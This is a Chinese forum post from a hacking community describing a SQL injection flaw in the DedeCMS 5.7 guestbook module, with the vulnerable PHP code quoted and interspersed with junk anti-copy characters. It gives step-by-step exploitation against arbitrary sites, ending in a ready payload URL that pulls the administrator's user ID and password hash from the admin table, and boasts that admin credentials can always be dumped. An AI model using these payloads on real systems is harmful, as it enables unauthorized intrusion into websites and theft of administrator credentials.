找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3760|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
+ w; W( X- u; _3 R' o
: P8 Z  S0 b  T! `漏洞文件edit.inc.php具体代码:3 P) D1 V! ^8 k, N0 x5 g$ a

, S% [' u& H0 s$ a< ?php  
: B4 H) l6 ^! i4 u' ~5 x  f
/ O2 f  D# z$ f3 b$ I$ ~4 y) `if(!defined('DEDEINC')) exit('Request Error!');  . s1 H) `9 w4 c& ^$ g
+ Z+ @' ]; T! k7 B' |, g3 K# {
   $ ^% Z" J* W9 u) l# T

: u( P8 ]! `7 `7 \  ~* k& @9 o- `if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  : l( w/ ^; h; v4 T7 C9 \

5 @' ?# D( X1 p9 {+ @else $GUEST_BOOK_POS = "guestbook.php";  
+ I" v8 r+ i2 N$ K* }( I' c( t& N9 E: m7 C
   ; f/ F" ~+ X7 V& L0 T8 q9 K' J, p
, m  ^$ D- T0 m: i
$id = intval($id);  5 w3 t' i# l) ^
) r) A/ L+ R  b* R0 E: h; G
if(empty($job)) $job='view';  / k1 V0 R! m/ T( [3 S

$ u' ^2 n/ }+ _* _4 Q5 ]   
' a$ s' \' Z* j! V& ^9 ?
* s# O) ?6 g% q% v6 sif($job=='del' && $g_isadmin)  
% V4 ~, B; @8 ~) b3 h! V+ ^* Q. k
( \# [7 p7 V: h! a! ~* Y8 g{  
+ h+ G. Y' }3 x; H! d
  F% d( z5 \7 {0 V6 q. s( }$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
% N6 B' A6 K# X  p$ E
( h- f1 R: d2 mShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  ' }, @: m; Q% V& a7 w8 z

0 W4 A0 M7 C/ qexit();  & V, Y! S, Z6 r+ M+ S/ b; ?" z
6 u6 \% N% D( ~1 E
}  
  \/ \) D' s9 ^  ?0 O8 X% [% J& Q- ?! H$ U( J) S
else if($job=='check' && $g_isadmin)  / h. ?& i+ H. ~0 o* n1 e

' p& Y/ P$ \8 U# E# y* R. |{    Z. o3 W0 p7 C
3 S  C) L0 N, F/ S
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
; e* F( O# M3 ~  N# @# j: N1 x
1 _+ Z1 q, ^2 [2 A5 ~ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  ) u' r+ M# r- S& A6 R6 g, ]

% ~0 l/ y5 a* ~8 oexit();  
  z/ ~/ f0 d' M$ C( d& j
9 n, c/ ~4 Z: g}  + r# f3 \! g, r6 r2 f, t

" h/ A8 i! n4 B! {2 t" |else if($job=='editok')  
8 ]% c' x2 K& Q9 N$ V3 c  J. Q( G: X$ v" D8 K
{  
: N' i3 G: n" n8 p- U# v% {' a
$remsg = trim($remsg);  
' t8 [8 [) P! t3 M5 J* g8 v) i+ g5 ~
4 C7 y( [! p0 A& kif($remsg!='')  
5 O" q) q+ u! T  i; Q/ Q' K
* L5 j6 {8 u  S; W5 w1 \{  ( B7 P' |+ n2 _: V" c5 N! U  \
. ~8 Q4 X! H2 s- y4 g
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
' f% X5 y$ R4 Z1 k8 h; {
0 I* w7 o2 ]0 a( W8 Xif($g_isadmin)  
5 w6 n5 R4 d, f7 |
1 X. G! A; H/ ^  Y; S{  6 B9 B, `0 f" t( ?/ y. q: \6 r

$ x* {5 Q+ F, T6 g6 J$ z$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
8 I/ O" _0 j: t; \, t, A( U5 j) j9 l% \, P2 p- ?; p
//$remsg <br /><font color=red>管理员回复:</font> }  ) N$ H5 {! y# N. q" a. i/ p5 r. e9 v

5 g6 w- R+ t& \" J2 ~& N; felse
1 L3 f3 y; w2 _+ F4 ]7 d  m$ a2 z% l- f
{  
. j2 p1 T0 n* J  Q' E% G0 G3 y( t# B4 R" |6 c! }
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  & X' ~' N1 A# n# t/ B* e4 F) Y9 }

- K8 ~4 A- u( F/ G' S$ U1 d$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  ; y8 b3 N. Z8 d* c

$ x4 r1 R7 I: w7 V$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
9 I: f: b+ C8 O( C, x  a% o( ~. Y+ i: ?( T  R& }
$msg = $oldmsg.$remsg;  
- \7 s/ a5 \6 k1 r8 Q) U. t5 k# H: C  Z" G: m( v) M5 M! U
}  
6 F& Q% {) G% w3 A. A/ ~4 T; }" a2 z- E8 U0 \% {
}  6 `) t; J( O7 T/ P7 w' c
& `% q1 `/ m' G, q: u; o' P
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
8 h/ q1 W& u, _0 Y7 u+ W8 h# n- q2 ]$ W, O, C
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
& ^) \, m  Y( O9 U! ]+ g8 Z8 ]9 {) K4 q' O6 `+ }1 w2 j- o
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  2 h. U! I+ G) o9 r9 Y+ Q3 j! x

7 _+ X' J- M( D) C4 Q$ x" @& \exit();  6 Q3 F1 H: {" |
9 b! O8 p. Y8 D+ F; F2 O
}  
+ F& }5 a9 O# q1 g" u. r
, R9 ?0 ?' |5 ?& Q* U1 Y9 ~- [//home:www.errs.cc  & v; ]- M: i' {9 b

: q/ X& N) I' M# d% r! |# Zif($g_isadmin)  
+ R0 I) }+ c$ f( L1 }
+ |3 X6 {' c- y" v2 p{  
  d- p2 E9 X6 {/ c) j7 I& _/ d/ K: K. H3 F3 B( V8 g  K* k
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  7 J+ Z% O5 ?- c1 r( O; ^

% j7 m# k$ m: b" s' H: K6 brequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  1 X- h. \2 j# T7 Q
" x; q  R" v4 K* F: O
}  
' ~& ]& N( n0 _2 D
2 B+ l; k. E% R# O: y4 ]else
7 u. M6 ?5 {* G! V7 [
- @, P) {& K3 {6 X( N{  
( }8 [8 {0 @" R% n" \8 @
' Z$ h5 N3 o' l% E$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
; ~' `" N" f1 u# R- R
2 f& Z( [, C! X' u2 p3 xrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
8 S5 [( L8 A# {6 u/ U' H( V" j1 j7 \. G( W
} 漏洞成功需要条件:$ J) L( X  Z+ Z: d+ e$ c
1. php magic_quotes_gpc=off; G" `  Y3 |' G. {7 {8 }% _! C, C
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。: @5 [& i7 q# V! i9 N

# b  ^& q7 P  C# e' [( H! M. w怎么判断是否存在漏洞:6 R4 j3 j1 D. D" ~* M
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
( S7 s  n3 N8 |4 y8 q% R5 _7 Y然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
# j& m) h  Z* n8 W访问:* w8 G% g- L3 b- o0 s! k% h

8 y( _3 G* H2 P  E+ \www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
9 R! A( w3 x' h0 y/ W7 t2 R! q跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证8 w8 _3 X) D  t2 j$ z

* ~, C# A- t+ u" z
1 A8 A3 _+ x! E$ y, W8 l* `明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
3 y# v7 ^! x8 t6 n9 d! f如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。  G; P4 @& V/ P
那么再次访问
* \# j/ N  F* y0 c7 H* J0 ?2 v8 v4 }: F( O
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().( t) H- y7 O& M3 q' s$ ^9 Y- n- ~
& |5 l. P' W. n( s8 l# H% x
大概利用就是这样,大家有兴趣的多研究下!!
6 k0 S6 G4 e: N6 W2 O" t) r' b& E  {9 _) t, ?+ w) M
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
. q0 v- n' _7 d5 L% Z1 e
9 a2 O* g$ |( J9 c3 q0 c0 K% U. Aview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表